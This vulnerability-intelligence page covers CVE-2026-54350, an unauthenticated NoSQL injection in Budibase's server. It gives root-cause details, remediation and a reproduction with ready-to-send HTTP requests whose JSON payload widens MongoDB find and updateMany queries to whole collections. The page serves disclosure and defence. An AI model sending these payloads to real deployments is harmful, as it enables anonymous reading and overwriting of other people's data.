Skip to main content

Budibase CVE-2026-54350

CRITICAL
SQL Injection (CWE-89)
2026-06-23 https://github.com/Budibase/budibase GHSA-8qv3-p479-cj62
10.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
vuln.today AI
10.0 CRITICAL

Anonymous HTTP to a published app suffices (AV:N/AC:L/PR:N/UI:N); attack crosses into backend datastore (S:C) with full read and write (C:H/I:H), no availability impact stated (A:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 23, 2026 - 18:33 vuln.today
Analysis Generated
Jun 23, 2026 - 18:33 vuln.today
CVE Published
Jun 23, 2026 - 17:43 github-advisory
CRITICAL 10.0

DescriptionGitHub Advisory

Summary

enrichContext at packages/server/src/sdk/workspace/queries/queries.ts:121-138 substitutes parameter values into the raw JSON body of a query, then JSON.parses the result. The validator validateQueryInputs at packages/server/src/api/controllers/query/index.ts:61-71 rejects only Handlebars markers ({{, }}) in user input and does not escape JSON metacharacters (", \, }). A parameter value containing a closing quote and additional keys lifts attacker-controlled fields into the parsed filter object.

For Mongo find, the parsed filter passes directly to collection.find() (packages/server/src/integrations/mongodb.ts:506-510). Duplicate-key JSON parsing overrides the builder's {name: "..."} with {name: {$exists: true}} and returns every document. The same primitive against an updateMany query (mongodb.ts:577-585) widens the filter scope to the full collection while the builder-controlled $set body runs against every matched document.

The authorized middleware at packages/server/src/middleware/authorized.ts:141-148 short-circuits when the query's role is PUBLIC. CSRF is not enforced on this path. POST /api/v2/queries/:queryId (packages/server/src/api/routes/query.ts:63) accepts the call with no session, only an x-budibase-app-id header that is public from the published-app URL.

Result: an unauthenticated visitor of any published Budibase app reads every document of the backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection and, where the builder has published a PUBLIC write query, modifies every document of that collection with one HTTP request.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable on any deployment where a workspace builder has set the role of a non-SQL query (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with bodyType=json) to PUBLIC and published the app. This is the canonical low-code public-form use case.

SQL datasources (Postgres, MySQL, MSSQL, Oracle, MariaDB) route through interpolateSQL and are not affected.

Root cause

packages/server/src/sdk/workspace/queries/queries.ts:121-138: processStringSync(fields[key], parameters, {noEscaping: true, noHelpers: true}) writes the raw parameter value into the JSON-body string with no JSON-string escape; the followup JSON.parse(enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody) lifts the substituted text into the integration filter object.

packages/server/src/api/controllers/query/index.ts:61-71: validateQueryInputs only rejects values where findHBSBlocks(value).length !== 0 (Handlebars markers) and ignores JSON metacharacters.

packages/server/src/integrations/mongodb.ts:506-510: collection.find(json) receives the user-controlled filter object directly with no key prefix or operator allow-list.

packages/server/src/integrations/mongodb.ts:577-585: collection.updateMany(json.filter, json.update, json.options) accepts the templated filter without verifying that the substituted filter still matches the builder's intent.

packages/server/src/middleware/authorized.ts:141-148: if (resourceRoles.includes(roles.BUILTIN_ROLE_IDS.PUBLIC)) return next() skips both authentication and CSRF.

packages/server/src/integrations/queries/sql.ts:29-122: interpolateSQL rewrites every {{ binding }} to a positional bind placeholder ($N or ?). The SQL leg is bind-parameterised; the JSON leg is not.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container, default config. Builder logs in once, creates a MongoDB datasource, creates a query GetUserByName with body { "name": "{{ name }}" }, sets the query role to PUBLIC, and publishes the app.

  1. Anonymous client sends the inject payload to the read query.
http
POST /api/v2/queries/<read-queryId> HTTP/1.1
Host: <budibase-host>
x-budibase-app-id: <published-appId>
Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"audit"}}
json
{"data":[
  {"_id":"...","name":"alice","secret":"alice-secret-flag"},
  {"_id":"...","name":"bob","secret":"bob-secret-flag"},
  {"_id":"...","name":"admin","role":"admin","secret":"ADMIN-SUPER-SECRET-FLAG"}
]}
  1. Builder publishes a second query TouchUser (verb update, action updateMany, body { "filter": { "name": "{{ name }}" }, "update": { "$set": { "touched": true } } }, role PUBLIC). Anonymous client sends the same inject pattern.
http
POST /api/v2/queries/<updateMany-queryId> HTTP/1.1
Host: <budibase-host>
x-budibase-app-id: <published-appId>
Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"esc"}}
json
{"data":[{"acknowledged":true,"matchedCount":3,"modifiedCount":3,"upsertedId":null,"upsertedCount":0}]}

Live-verified: against Budibase v3.39.0 on 2026-05-20, anonymous read returned every document including ADMIN-SUPER-SECRET-FLAG; anonymous updateMany reported matchedCount: 3, modifiedCount: 3 against a 3-document collection where the builder's filter intended name = "x".

Impact

  • Anonymous read of every document in any backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection reachable through a PUBLIC query, including columns the published query was not designed to return (password_hash, secret, api_token, mfa_secret).
  • Anonymous modification of every document of that collection where the builder has published a PUBLIC update, delete, or aggregate query, beyond the builder's intended single-document scope.
  • One HTTP request, no session, no CSRF, no user interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

AnalysisAI

Unauthenticated NoSQL operator injection in Budibase self-hosted server (@budibase/server <= 3.39.0) allows anonymous visitors of any published app to read and modify every document in MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body datasources behind a PUBLIC query. The flaw stems from unescaped JSON parameter substitution combined with the authorized middleware short-circuiting on PUBLIC role queries, and publicly available exploit code exists in the GHSA advisory with full HTTP reproduction steps. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Browse published Budibase app
Delivery
Extract app-id and PUBLIC query-id
Exploit
Send crafted JSON parameter with embedded operator
Install
Bypass validateQueryInputs (no JSON escaping)
C2
JSON.parse lifts injected keys into filter
Execute
Mongo find/updateMany runs on entire collection
Impact
Exfiltrate or overwrite every document

Vulnerability AssessmentAI

Exploitation Exploitation requires that a Budibase workspace builder has (1) created at least one query against a non-SQL datasource - MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with bodyType=json - that interpolates a user-controlled parameter into its JSON body, (2) set that query's role to PUBLIC, and (3) published the app so the app-id is exposed in the public URL. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to a top-priority issue: CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N scores 10.0 with confirmed network reach, no privileges, no user interaction, and a scope change into backend datastores; SSVC-style reasoning indicates the attack is fully automatable (a single HTTP POST with a static payload), with high technical impact (whole-collection read and write). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An anonymous attacker browses a published Budibase app, captures the x-budibase-app-id from the URL, and sends a single POST to /api/v2/queries/<queryId> with a parameter value such as 'x","name":{"$exists":true},"$comment":"audit' that closes the JSON string and injects a duplicate key. The Mongo driver receives {name:{$exists:true}} and returns every document in the backing collection - including fields like password_hash, secret, api_token, or mfa_secret - and the same trick against an updateMany query rewrites every document in scope. …
Remediation Vendor-released patch: upgrade @budibase/server to 3.39.12 or later, which is the fixed version per the GHSA advisory at https://github.com/Budibase/budibase/security/advisories/GHSA-8qv3-p479-cj62. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 HOURS: Inventory all Budibase deployments; identify instances with published public applications and assess connected database sensitivity. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-54350 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy